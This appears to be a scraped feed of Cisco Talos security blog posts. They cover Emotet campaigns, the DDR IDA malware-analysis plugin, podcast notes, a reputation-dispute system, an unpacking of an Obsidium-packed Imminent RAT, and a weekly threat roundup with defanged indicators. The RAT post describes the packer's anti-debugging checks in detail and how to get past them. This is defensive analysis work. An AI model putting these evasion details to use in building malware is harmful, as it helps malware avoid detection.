Emotet is one of the most widely distributed and actively developed malware families on the crimeware landscape today. It is a highly modular threat with a variety of payloads being delivered. Emotet began purely as a banking trojan, but over the years, has continued to evolve and more recently, has been associated with some larger-scale targeted Ryuk ransomware infections. The primary infection vector remains malicious emails sent as part of widespread spam campaigns. Emotet is commonly delivered via both macro-laden office documents, as well as URL-based spam messages that lead to an eventual infection. These campaigns change and evolve daily, and the supporting infrastructure also changes on a near constant basis. It's not uncommon to see Emotet reuse of some of the command and control (C2) servers over more extended periods.

The goal of Emotet, as is the case with crimeware-based threats, is monetary. Attackers use Emotet to deliver modular payloads it can use to monetize infections. Those payloads can include threats like banking trojans, stealers, self-propagation, email harvesters and ransomware. The modules the attackers deploy are likely chosen based on the way they can best monetize infected systems and the environments in which those systems reside.

Current Campaign Details


There are multiple active campaigns currently delivering Emotet. These campaigns are occurring in two different varieties. The first is a simple email with a Word document attached. An example of one of these emails is shown below.
One thing that Emotet typically does reasonably well is mutating the subject lines so that a large number of emails with identical subject lines are rarely seen during distribution. These campaigns are no exception — we have seen various subject lines focusing primarily around invoices and package deliveries. The emails also use different languages. Below you can see an example of one of the German language campaigns that are ongoing. This example also shows the second type of campaign, leveraging a direct URL download instead of Office documents with macros that fetch the malware.
Once a user opens the email message and opens the attachment or clicks the link, malware is downloaded to the system using either code embedded in the attachment or directly from the website in the case of URL-based emails.

Malicious code embedded in the malicious attachment functions as a downloader for the Emotet malware. When this code is executed, PowerShell is invoked, which reaches out to the Emotet malware distribution server, downloads the malicious payload, and executes it, thus infecting the system.
In the screenshot above, you can see that the script is configured with multiple URLs that can be used to download the PE32 executable associated with Emotet. This provides resiliency, as the downloader can iterate through the list in the case that some of the URLs are no longer available due to takedown or compromised site cleanup.

The malware is overwhelmingly hosted on compromised websites. These sites are then leveraged as random hosting locations for the campaigns to leverage. One unusual thing we have observed recently is the use of HTTP 301 redirects. The initial URL is requested with a connection keep-alive in the header. This initial HTTP request is met with a 301 pointing back to the same URL. This second request results in the malware being delivered and the header no longer includes the keep-alive. The reason for the 301 redirection and second request are currently unknown since browsing directly to the URL results in the malware being returned. Below is an example of the behavior.
After initial installation, the C2 capabilities begin. Emotet connects to C2 servers on various ports including, but not limited to: 20, 80, 443, 7080, 8443, and 50000. Typically, this all occurs using HTTP traffic to hard-coded IP addresses similar to what is shown below:
The above example demonstrates HTTP running on port 20 to one of those hard-coded IP addresses. There have been some more recent behavior changes, specifically around the spamming module of Emotet. Talos has observed recent runs of Emotet checking if the compromised system's IP address is currently found on many spam-related blacklists including those hosted by SpamCop, Spamhaus, and SORBS, among others. Below is a snippet from a ThreatGrid report that demonstrates the email blacklist queries.
This is just the latest in a long line of near-constant improvements made to Emotet. It is still under constant development with new features being tested and rolled out on a continual basis. This development is one of the reasons why we see it being distributed so widely.

Conclusion


These modular malware families like Emotet are going to continue to increase in popularity as time goes on. Monetization is the name of the game when it comes to crimeware and having a malware family that can deliver multiple, disparate payloads are going to be increasingly attractive for those looking for nefarious monetary gain. As shown by the recent blacklist checking for the spamming module, Emotet is looking to maximize that financial gain whenever possible, and at the same time, minimize payloads that will have little return on investment. It's these types of changes that will continue to keep Emotet near the top of the crimeware landscape.

Coverage


Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), andMeraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

Indicators of Compromise


A list of Indicators of Compromise (IOCs) associated with these campaigns can be obtained here.

↧
↧

Dynamic Data Resolver (DDR) - IDA Plugin

January 16, 2019, 7:55 am
$
0
0

This blog post was authored by Holger Unterbrink


Executive Summary

Static reverse-engineering in IDA can often be problematic. Certain values are calculated at run time, which makes it difficult to understand what a certain basic block is doing. But, if you try to perform dynamic analysis by debugging a piece of malware, the malware will often detect it and start behaving differently. Cisco Talos is here with Dynamic Data Resolver (DDR) a new plugin for IDA that aims to make the reverse-engineering of malware easier.


Features


Code Flow Trace
(Shows which basic blocks were executed how many times by approx. 20 different colors):
Figure 1

Searchable API call logging:
(This includes all occurrences where certain instructions e.g call,jxx,etc., touch an API address)
Figure 2
Searchable string logging:
Figure 3

Resolving dynamic values and auto-commenting:
Figure 4

Technical Details

 

Architecture and usage

DDR has the client/server architecture shown in figure 5. The DDR IDA plugin and the DDR server are Python scripts. The DynamoRIO client is a DLL written in C, which is executed by the DynamoRIO tool drrun.exe. This DLL is using instrumentation techniques to analyze and monitor the malware sample at runtime. The IDA plugin is the frontend. Usually, all the processes are controlled via the plugin. Once the DynamoRIO client backend is done with the analysis, the result is sent back to the plugin. We picked JSON as the format for this data to make it easy for the user to read, and parsable by third-party Python scripts.



Theoretically, you can run the plugin and the server on the same PC, but as far as the malware sample is executed, it is highly recommended to do this on a separate machine.

In most circumstances, you can start an analysis from the DDR/Trace menu within IDA, following the plugin installation as described below, but if you want to execute the malware on an air-gapped, Python-free system or analyze an address space that is not supported by the plugin menu, you can also do the analysis manually. The DLL can be executed on the command line. Depending on the sample's architecture, the syntax is:
<DYNRIO_DIR>\bin<ARCH>\drrun.exe -c "<PATH_TO_DLL>\ddr<ARCH>.dll" -s <START_ADDR> -e <END_ADDR> -c <NUM_INSTR_TO_EXECUTE> -f "<JSON_FILE_TO_LOG_TO>" -- <MALWARE-SAMPLE>
e.g.
C:\DYNRIO_DIR\bin64\drrun.exe -c "C:\ddr\ddr64.dll" -s 0x140001000 -e 0x140002200 -c 10000 -f "C:\ddrlog\sample_log64.json" -- sample64.exe
C:\DYNRIO_DIR\bin32\drrun.exe -c "C:\ddr\ddr32.dll" -s 0x00401000 -e 0x00402000 -c 10000 -f "C:\ddrlog\sample_log32.json" -- sample32.exe
After the analysis is done, you will need to load the <JSON_FILE_TO_LOG_TO>, ex. sample_log32.json, via the File/Load file/Load DynRio File menu in IDA.

But again, this is usually not necessary. All features in DDR are accessed via the right-click context menu in IDAs Disassembler View. Before you can run any DDR features, you need to analyse the sample first or load the JSON file manually as described above. If you don't want to do the manual process, DDR offers several different options for running the analysis. They can all be accessed via the Trace menu shown in Figure 6.

Figure 6

The full trace options are collecting far more runtime information. Their execution takes much more time and consumes much more memory than the light trace. The light trace is only doing a code coverage trace — in other words, it logs the instructions that are executed at runtime, as well as some basic information for control flow related instructions like call, jmp, ret and others. This means you usually want to pick the light trace if you want to log as many instructions as possible to get an overview of what the sample is doing. For example, to highlight as many basic blocks as possible, based on the number of times they were executed or to get an overview of the API calls touched by the sample. You can set the number of instructions to log via the "Config/Set number of instructions to log" menu to a high value. For a light trace on an average PC, you can set the number usually to 200.000. The default is 20.000, which works well for full traces. You are usually running the full traces for cases where you are interested in the start sequence of a sample (ex. "Run full trace for segment") or you are analysing a certain basic block such as a crypto routine, and you need details about all the instructions and it's operants (ex. "Run full trace for basic block"). The analysis should not take longer than 30 seconds, or you need to set the MAX_API_TIMEOUT in the DDR_plugin.py script to a higher value. For larger traces you can also use the manual analysis as described above.

Keep in mind that all the DDR functions are using the JSON file from the last analysis/trace that you have run. For example, if you have just run a light trace and then you are trying to resolve a register value via "Get values for source operant," you will likely not find any data (except it was one of the mentioned control flow instructions like call, jmp, etc.). It is probably a good idea to check out the generated JSON files when you are using DDR the first time to get an idea about which data is logged depending on the different traces.

The traces are cached/saved in the directory where the sample is in. The full path can also be found in the IDA log window. This means, if you need information that is logged in a JSON file that is not loaded at the moment, you can just pick the right trace menu option again and the cached/saved file is loaded. Loading and parsing the file usually takes not much time, so you can quickly jump between different analyses without really rerunning them. This also means, if you really want to rerun a certain analysis, you have to either delete all cached/saved files via the "Trace" menu or delete the corresponding files manually from the samples directory.

The video below shows you the different DDR features and some example workflows.


Disclaimer

Talos is releasing this alpha version knowing that it may contain a few bugs and can be improved upon in the future. Nevertheless, we think it is a useful tool that we want to share with the community at an early stage. Please see the source code for where to send issues, bug reports and feature requests. Feel free to contact the author if you run into issues.

Installation

The plugin is build for IDA Version 7.2 on Windows x64, but might also work on 7.1.

First, clone or download the DDR repository here.

Install the Python module requirements and the DynamoRIO framework. Details can be found in the appendix below.

The next thing you have to do is to configure the variables in the "DDR_server.py" script based on your local setup. Also, make sure the local firewalls are not blocking the traffic between plugin and server. If you start the DDR_server.py script and it does not find an existing certificate file, it generates a self-signed certificate/key pair, as well as an API key file and writes them into the directory stored in the <CONFDIR> variable in the DDR_server.py script. Either you use this certificate or you place your own certificate/key file in this directory. Then you need to copy the certificate file, ex. "ddr_server.crt," to the analyst machine (IDA/DDR_plugin.py) and point the CA_CERT variable in DDR_plugin.py to it. You should also set the API key and the other variables based on your setup. These are the main variables you should look at:

DDR_plugin.py

# IP address of host ddr_server.py is running on
WEBSERVER = "192.168.100.122"

# TCP port DDRserver.py is using
WEBSERVER_PORT = "5000"

# API key, check ddr_server.py start messages
# Gets generated by the ddr_server.py script.
DDR_WEBAPI_KEY = "KT5LUFCHHSO12986OPZTWEFS"

# Local directory where to find the certificate generated by the DDR_server.py script or the manual created one (used for the SSL connection). Don't forget to copy the certificate file to this location.
CA_CERT = r"C:\Users\User Name\Documents\idaplugin\ddr_server.crt"

# Verify certificates or not. It is insecure to set this to False, you should only do this for testing.
VERIFY_CERT = True

# Directory on the ddr_server.py machine. The local directory on the server where the server script can find the sample to analyse. Make sure it exists and you have copied the sample into it. A future version of the plugin will copy the file automatically.
SERVER_LOCAL_SAMPLE_DIR = r"C:\Users\User Name\Documents\DDR_samples"

DDR_server.py

#Parameters for generating the self signed certificate at first start
# and the local network setup
CERT_FILE = "ddr_server.crt"
KEY_FILE = "ddr_server.key"
APIKEY_FILE = "ddr_apikey.txt"
MY_IPADDR = "192.168.100.122" # Malware Host IP addr
MY_PORT = "5000"
MY_FQDN = "malwarehost.local" # Malware host FQDN

# Directory to save/load config files to/from e.g. API key file, Certificate files etc.
CONFDIR = r"C:\malware\tools\DDR_Talos\IDAplugin"

# where to find the x32/x64 ddrun.exe and the corresponding DynRIO client DDR.dll
CFG_DYNRIO_DRRUN_X32 = r"C:\tools\DynamoRIO-Windows-7.0.0-RC1\bin32\drrun.exe
CFG_DYNRIO_CLIENTDLL_X32 = r"C:\malware\tools\DDR_Talos\IDAplugin\ddr32.dll"
CFG_DYNRIO_DRRUN_X64 = r"C:\tools\DynamoRIO-Windows-7.0.0-RC1\bin64\drrun.exe"
CFG_DYNRIO_CLIENTDLL_X64 = r"C:\malware\tools\DDR_Talos\IDAplugin\ddr64.dll

Caveats

Make sure the directories you are configuring exist. If they do not exist, the alpha version will not create the directories. The program will just show an error message.

Also, you have to copy the malware sample you are planning to analyse in IDA first to the directory configured in the SERVER_LOCAL_SAMPLE_DIR variable in the DDR_plugin.py script. This will be automated in the next version.

Appendix

Python Requirements

  • Python27-x64

ddr_plugin.py/IDA machine (Analyst PC):

  • Requests
    (http://docs.python-requests.org)
e.g.
C:\python27-x64\Scripts>pip install -U requests

If you are using multiple Python versions, make sure you install these packages for the same version IDA is using.

ddr_server.py machine (Malware host):

  • Flask
    (http://flask.pocoo.org/)
  • PyOpenSSL
    (https://pyopenssl.org/en/stable/)

e.g.
pip install -U Flask
pip install -U pyOpenSSL


Other Requirements

ddr_server.py machine (Malware host):

- DynamoRIO Framework (https://www.dynamorio.org/)

Just use the binary installer found on the DynamoRIO homepage.

Tested environment:

ddr_plugin.py/IDA (Analyst PC - Windows 10 64bit):

IDA Version 7.2.181105 Windows x64

C:\Python27-x64\Scripts\pip.exe freeze

certifi==2017.7.27.1
chardet==3.0.4
first-plugin-ida==0.1.1
idna==2.6
requests==2.18.4
requests-kerberos==0.11.0
urllib3==1.22
winkerberos==0.7.0
yara==1.7.7

ddr_server.py machine(Malware host - Windows 7 64 bit):

C:\Python27-x64\Scripts\pip.exe freeze

asn1crypto==0.24.0
certifi==2018.11.29
cffi==1.11.5
chardet==3.0.4
Click==7.0
cryptography==2.4.2
enum34==1.1.6
Flask==1.0.2
idna==2.7
ipaddress==1.0.22
itsdangerous==1.1.0
Jinja2==2.10
MarkupSafe==1.1.0
pycparser==2.19
pyOpenSSL==18.0.0
requests==2.20.1
six==1.11.0
urllib3==1.24.1
Werkzeug==0.14.1
yara-python==3.6.3

DynamoRIO Installation:
DynamoRIO Version: 7.0.0-RC1

Install directory: C:\tools\DynamoRIO-Windows-7.0.0-RC1



↧

Beers with Talos EP44: Fun with 2018’s Worst and Talks We Want to Hear

January 17, 2019, 4:59 am
$
0
0


Beers with Talos (BWT) Podcast Ep. #44 is now available. Download this episode and subscribe to Beers with Talos:

If iTunes and Google Play aren't your thing, click here.

Ep. #44 show notes: 

Recorded Jan. 7, 2018

Most of the episode (after an extended roundtable — we all had a lot to get out after time off), we look back at the 2018 Malware Year in Review, including Olympic Destroyer, VPNFilter, MDM and other unique, large-scale, or otherwise interesting bits of malware that Talos encountered. We also discuss the things we would love to see conference talks about in the new year. Of course, we use that to announce the CFP for Talos Threat Research Summit 2019. If you do defense and want to talk to other defenders, make sure to submit before Jan. 25 here.

The timeline:

The topics

01:00 — Roundtable: Show and tell from holiday vacations
16:10 — Top Threats of 2018: “Top” means we called them top, there is no objective measure here.
44:10 — What conference talks would be great to see in 2019
1:00:30 — TTRS 2019 CFP and conference announcement
1:10:24 — Parting shots, closing thoughts

The links

Talos Year in Malware rundown
Initial MDM post
==========

Featuring: Craig Williams (@Security_Craig), Joel Esler (@JoelEsler), Matt Olney (@kpyke) and Nigel Houghton (@EnglishLFC).
Hosted by Mitch Neff (@MitchNeff).
Find all episodes here.

Subscribe via iTunes (and leave a review!)

Check out the Talos Threat Research Blog

Subscribe to the Threat Source newsletter

Follow Talos on Twitter

Give us your feedback and suggestions for topics:
beerswithtalos@cisco.com
↧

Cisco Talos' new reputation dispute system

January 17, 2019, 8:25 am
$
0
0
We know users have been waiting for this feature for a while, and we are here to say: It’s ready.  Cisco Talos’ new reputation system rolled out Jan. 14 on TalosIntelligence.com. We have been working on this change since the rollout was initially announced this past summer.

Starting today, all users who wish to file a reputation dispute with us will need to log in with a free Cisco Connection Online ID (CCID) and head to the Talos Reputation Center. There, users can look up the reputation of any IP or domain to see all current information Talos has on that entry. Sites that customers feel are miscategorized can also be disputed on this page. This page also contains information about who the highest volume senders are and sort that data by network owner and country.



Additionally, users who believe their site has been inappropriately blacklisted can file a dispute, which will flow through the appropriate channels to address their concerns.

The new system closely links the dispute ticketing system and our analysts to create greater interactivity between analysts and customers. Users simply log into TalosIntelligence.com with their CCID to see the resolution of any dispute they’ve ever filed through this new system.

Our new reputation dispute system merges several sites, including Talosintelligence.com, securityhub.cisco.com and senderbase.org. We hope this new setup provides an easier, streamlined process for our customers and users to file and track disputes with us.

↧
Search

What we learned by unpacking a recent wave of Imminent RAT infections using AMP

January 17, 2019, 11:30 am
$
0
0
This blog post was authored by Chris Marczewski

Cisco Talos has been tracking a series of Imminent RAT infections for the past two months following reported data from Cisco Advanced Malware Protection's (AMP) Exploit Prevention engine. AMP successfully stopped the malware before it was able to infect the host, but an initial analysis showed a strong indication that stages exist before the deployment of the RAT. Surprisingly, the recovered samples showed no sign of Imminent RAT, but instead a commercial grade packer.

This was a series of attacks engineered to evade detection and frustrate analysis. From the outside, we have a commercially available, yet affordable packer called "Obsidium" that has been used in the past to protect the intellectual property of some legitimate software vendors. The payload results in a RAT called Imminent that has also been used previously for legitimate purposes. Imminent is a commercially available RAT that retails for $25 to $100, depending upon the size of the customer's expected user base. While it is not intended for malicious use, in this case, its detection suggested otherwise.

Although a Potentially Unwanted Application (PUA) detection approach could suffice, not everyone enables blocking of PUAs. We have other technologies in place, such as the Exploit Prevention engine, that are well-suited to detect such threats. We hope that after reading this research, you'll have a better understanding of not only what it takes to investigate an attack using a complex packer, but also how AMP is equipped to stop such attacks that planned on successfully evading static detection or thwarting the benefits of dynamic analysis from a malware sandbox.


After AMP detected this particular strain of Imminent, and when we saw how complex the packer was that's used to hide the malware from detection, we decided to investigate further. The following dynamic run shows this:



We identified the use of a commercial-grade packer, but we were also curious about the extent of the anti-debugging and anti-virtual machine techniques employed by this particular run of the packer. It starts with several instances of overriding SEH exception handlers. This is accomplished by pushing one handler before and after FS:0, then moving the stack pointer to FS:0. This is possible since the sample is 32-bit and was not compiled with SafeSEH. Intentional access violations and illegal instructions redirect to some preparation code, leading to the initial decryption of malicious code.



Since the overrides lead to mostly preparation code, most of this can be skipped by following where all user-land exceptions must go: ntdll->KiUserExceptionDispatcher. You can pass the exception to the application and break just before the jump condition to determine if another exception exists in the chain, or if runtime can continue.



Finally, follow the pointer stored at ECX to resolve a CONTEXT structure and determine the EIP for the instruction that will be executed upon calling NtContinue. EIP can be manually resolved by following ECX at this point during runtime and applying the CONTEXT structure for a 32-bit context.

The malware decrypts and re-encrypts sections of malicious code one at a time, making it hard to determine a complete timeline for a full decryption point without manually stepping through each section. The cryptographic scheme uses AES per native x86 instructions and wrapper functions.





Past the initial code decryption, you start to see some semblance of complex API resolving, the first of which resembles other portions of the binary, but deters analysis overall: junk byte insertion for anti-disassembly.





As one might expect, this makes modern disassembler rendering of control flow graphs and function blocks quite messy. Several breakpoints and call returns later, you start to notice API strings getting tossed around the general purpose registers. With some trial and error, it's not impossible to break on the pivotal return points where the resolved API address is stored in EAX. You can then run the debugger until a call return, but you will encounter some additional access violations and illegal instructions acting as code trampolines, as shown below. The access violations and illegal instructions are a standard feature of the packer if the end user decides to include anti-debugging when running the payload through the packer.





It's also worth mentioning that resolved API addresses should not be broken on, nor jumped to by running until you hit call returns. Call returns are not always used by the packer to move to the desired API. Also, the address of the API is not used directly but is instead invoked a few instructions within the function, & the depth varies for each API. Your best course of action is to break a few calls in the API code early enough to view the original parameters that were haphazardly passed to the resolved API. What's more, the packer code will check the target of the trampoline within the API code for software breakpoints prior to redirection (0xCC, or int 3 disassembled).

After you've established such control over the debugging session, you can begin to handle the anti-debugging checks. This is a necessary step to unpack the original payload successfully. Conventional techniques of letting a sample a run and dumping full images or relevant sections of code are not possible in this case due to such checks. With this packer, the anti-debugging checks include the following:

  • Class registration, passed to CreateWindowsEx, containing a callback parameter to be called by CallWindowProc. The callback function itself invokes NtQueryInformationProcess with ProcessDebugPort set as the requested ProcessInformationClass enumeration.
  • The API is called again twice for undocumented ProcessInformationClass enumerations ProcessDebugObjectHandle and ProcessDebugFlags.
  • NtQuerySystemInformation is called with an undocumented enumeration of the SystemInformationClass parameter: SystemKernelDebuggerInformation. In this particular case, the standard SYSTEM_BASIC_INFORMATION structure is not returned, but instead, a SYSTEM_KERNEL_DEBUGGER_INFORMATION structure is returned, containing UCHAR KernelDebuggerEnabled and UCHAR KernelDebuggerNotPresent. The user can bypass this debugger check by toggling the flags appropriately.
  • CloseHandle is called for an invalid handle. When debugging a process, this will generate an exception, rather than resulting in a silent failure of the API. In this case, the exception leads back to the debugger being detected (EnumWindows->MessageBoxA->"Debugger detected…"). Discard the exception when debugging to bypass this check.
  • CreateFileA is called several times to check if file objects with the following debugger-related file names can be instantiated on the host:
\\.SICE
\\.\NTICE
\\.\NTFIRE
    • The next check is interesting in that is resolves more than 20 APIs before commencing with the actual debugger check. Fortunately, only the last few API's are involved with the check (InternalGetWindowText, IsWindowVisible, and EnumWindows). As discussed earlier, usually getting EnumWindows at this point of the unpacking is a bad sign that you've failed a debugger check. In this case, it's different. The callback function passed to EnumWindows must be handled with a breakpoint and iterated until you see InternalGetWindowText and IsWindowVisible getting called as standalone debugger checks.
    • An arbitrary value is passed to SetLastError, followed by an intentional error. GetLastError is called to check if the set value remains, as expected when debugging.
    • GetCurrentThread grabs the current thread handle and passes it to NtSetInformationThread coupled with the ThreadHideFromDebugger enumeration from THREAD_INFORMATION_CLASS. This will detach the process from the debugger if present.
    • CheckRemoteDebuggerPresent
    • FindWindowW looking for the following debugger class names, rather than window names: ObsidianGUI, WinDbgFrameClass, ID, and OLLYDBG
    • CreateFileW checking for a failed attempt at creating \\.\VBoxGuest
    This is just a portion of the anti-debugging phase. Unfortunately, we don't have the space here to cover the malware's anti-VM techniques, but this will give you a good start. We decided to proceed with the unpacking of the sample on a bare-metal host to dump the final binary. We identified the final stage as a commercial RAT being used with malicious intent. Pivoting off a dynamic domain name revealed other samples with similarly complex packers (Themida, etc.) The host is not running one, but several control panels for various RAT's (including the one we unpacked).

    This was a series of attacks that further complicates detection strategy. In the beginning, we had a commercially available packer that has been used in the past to protect the intellectual property of legitimate software vendors. Further on, the payload resulted in a commercially available RAT that has also been used for legitimate purposes. Although a PUA detection approach could suffice in this case, we have technologies in place such as the Exploit Prevention engine to detect such threats dynamically, in addition to preventing telemetry for further investigations. Attackers are relentlessly attempting new methods of bypassing threat detection. In this particular case, commercially available software was used to no avail. The attacks were successfully stopped by the Cisco Advanced Malware Protection's (AMP) Exploit Prevention engine, and the resulting event data only helped out more by providing valuable information on what tools the attackers are using against their targets.

    IOCs

    Original Obsidium packed sample
    3bc0ae9cd143920a55a4a53c61dd516ce5069f3d9453d2a08fc47273f29d1cf3

    Unpacked Imminent RAT sample
    12cca4fcfe311d1136db6736e7f17854746a5e6c7a284c27ea84a5016bf982d7

    ↧
    ↧

    Threat Roundup for Jan. 11 to Jan. 18

    January 18, 2019, 3:13 pm
    $
    0
    0

    Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Jan. 11 and Jan. 18. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

    As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

    You can find an additional JSON file here that includes the IOCs in this post, as well as all hashes associated with the cluster. That list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and one single IOC does not indicated maliciousness.

    The most prevalent threats highlighted in this roundup are:

    • Win.Malware.Emotet-6816461-0
      Malware
      Emotet is a banking trojan that remains relevant due to its ability to evolve and bypass antivirus products. It is commonly spread via malicious email attachments and links.
       
    • Doc.Malware.Powload-6815340-0
      Malware
      Powload is a malicious document that uses PowerShell to download malware. This campaign is currently distributing the Emotet malware.
       
    • Win.Downloader.Upatre-6815606-0
      Downloader
      Upatre is a trojan that is often delivered through spam emails with malicious attachments or links. It is known to be a downloader and installer for other malware.
       
    • Doc.Malware.Sagent-6813871-0
      Malware
      Sagent launches PowerShell through macros in Microsoft Office documents. The PowerShell then downloads unwanted software from remote websites.
       
    • Win.Virus.Sality-6814419-0
      Virus
      Sality is a file infector that establishes a peer-to-peer botnet. Although it's been prevalent for more than a decade, we continue to see new samples that require marginal attention in order to remain consistent with detection. Once a Sality client bypasses perimeter security, its goal is to execute a downloader component capable of executing additional malware.
       
    • Win.Packed.Johnnie-6814043-0
      Packed
      Johnnie, also known as Mikey, is a malware family that focuses on persistence and is known for its plugin architecture.
       
    • Win.Downloader.Powershell-6810733-0
      Downloader
      This cluster came with spam emails containing zipped JavaScript attachments. Once the user runs the file, these malicious JavaScript attachments use PowerShell and BITSAdmin to download and install the Gandcrab ransomware.
       

    Threats

    Win.Malware.Emotet-6816461-0


    Indicators of Compromise


    Registry Keys
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: Type
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: Start
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: ErrorControl
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: ImagePath
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: DisplayName
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: WOW64
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: ObjectName
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: Description
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\STARTEDTURNED
      • Value Name: Type
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\STARTEDTURNED
      • Value Name: Start
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\STARTEDTURNED
      • Value Name: ErrorControl
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\STARTEDTURNED
      • Value Name: ImagePath
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\STARTEDTURNED
      • Value Name: DisplayName
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\STARTEDTURNED
      • Value Name: WOW64
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\STARTEDTURNED
      • Value Name: ObjectName
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\STARTEDTURNED
      • Value Name: Description
    Mutexes
    • Global\I98B68E3C
    • Global\M98B68E3C
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 187[.]207[.]58[.]148
    • 187[.]178[.]233[.]96
    Domain Names contacted by malware. Does not indicate maliciousness
    • smtpauth[.]avalongroup[.]in
    • smtp[.]weiler-elektro[.]de
    • mail[.]yomarbodycolor[.]com[.]mx
    • mail[.]theconcordhotels[.]com
    • mail[.]migranjita[.]com[.]mx
    Files and or directories created
    • %WinDir%\SysWOW64\t5lKUp7.exe
    • %WinDir%\SysWOW64\ohFmRm3hO8ae.exe
    • %WinDir%\SysWOW64\XyDDS09O1vT.exe
    • %WinDir%\SysWOW64\ouFc.exe
    File Hashes
    • 0353c9149b5f88a330904bb62b32224f04ba58f03d68dd0792757ad775308b55
    • 04353446c29fd35b28ee9b67f8bd44979478501cca7c954753a79c52b68d9037
    • 04c3f1590c9e9389582e21d7711379cab42d460433a2918bb888ce941bcfeedd
    • 0753b4ea09e7c562abacd4d3fbb6ceb8065075fa7e9ac3d53a7d7b9464111d97
    • 07a40319b4eab80ad4bc5ddd1d326b380fbd84cb5695436ad973026f10b2ffcf
    • 09dfb7b98eb9d84194c786107af24f345ba98abce2264eb350aaa49ec5f0b2a3
    • 0a05e728e40d80db4159ced8760ade6cc66cd1d1c3187bc389801f975ea356a5
    • 0b664accc6898a9c073ca27deb58abaa597477d88c54559439f9a92a45f8d055
    • 0e0838d60693a9fe803d104f97b1513781460a3e0eeedc0add12d9cab9d57b89
    • 0e5731849a5274705251a772b9cfc527d4646e5af1d0d8a9c0dc536d3a60ef73
    • 11c6c26f9d485fa833fc457cc51a99e9b772c36816fc6c3bd55d3cd10b3722be
    • 16d620b02bdf396a3992dc4b2ef8d2508924303e4c013e1fbb49921470008516
    • 17061a6389a454eb7b2891b19708d0a2b54a6c4b4ce5fb20070475e0eec94202
    • 19b0b0087b81e9c2c6b5c94a7830fcb2674318a32eb7b7f22beac0c21f7afe6e
    • 1cea1c276ebbfb7016b71f5c4060ebda6771c82f8a7f7b1de17469f564cdd4ec
    • 1fb31fd9d68cdf3e7003c8312920f47279c35d5e6a57072274c347abfa72546f
    • 2304f4a6d495ffbe53edf321320c3d9c370f2ed04881481219e54b76877df66f
    • 296f421a8f830c9b249dda7b08603ef70b9940165b22c323c81ac63f026e3b14
    • 2b9278f08544327a17740022286878835f952b3e419f6eb591d266af5fe9d95e
    • 2e26453cbe70950db2ff2866374eb65199158432518df90130d616d2fa0dc0d1
    • 32a25295271b2091b10533f3beb8f9b032ef32668f3081c9f1c44e8e6017f325
    • 3388ba07c6f77b926395f7638848aae558ea5804e09c82e441e03530e7c69d63
    • 33906f0abea0b36325a9fae790527fd5317485426c70801600e129795af7f0f9
    • 350f42856e87c939fbc0a994c5ee8df09e056c449931320e7a2ed633b62e7f2e
    • 3759184ad0939d60725e52abf38493808986f7ebcf81b8037beceb4a50539602

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid



    Umbrella



    Doc.Malware.Powload-6815340-0


    Indicators of Compromise


    Registry Keys
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: Type
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: Start
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: ErrorControl
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: ImagePath
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: DisplayName
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: WOW64
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: ObjectName
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TABBTNFETCH
      • Value Name: Description
    Mutexes
    • Global\I98B68E3C
    • Global\M98B68E3C
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 187[.]163[.]213[.]124
    • 68[.]66[.]216[.]25
    Domain Names contacted by malware. Does not indicate maliciousness
    • www[.]dawsonvillepropertymanagement[.]com
    Files and or directories created
    • %WinDir%\SysWOW64\tabbtnfetcha.exe
    • %UserProfile%\664.exe
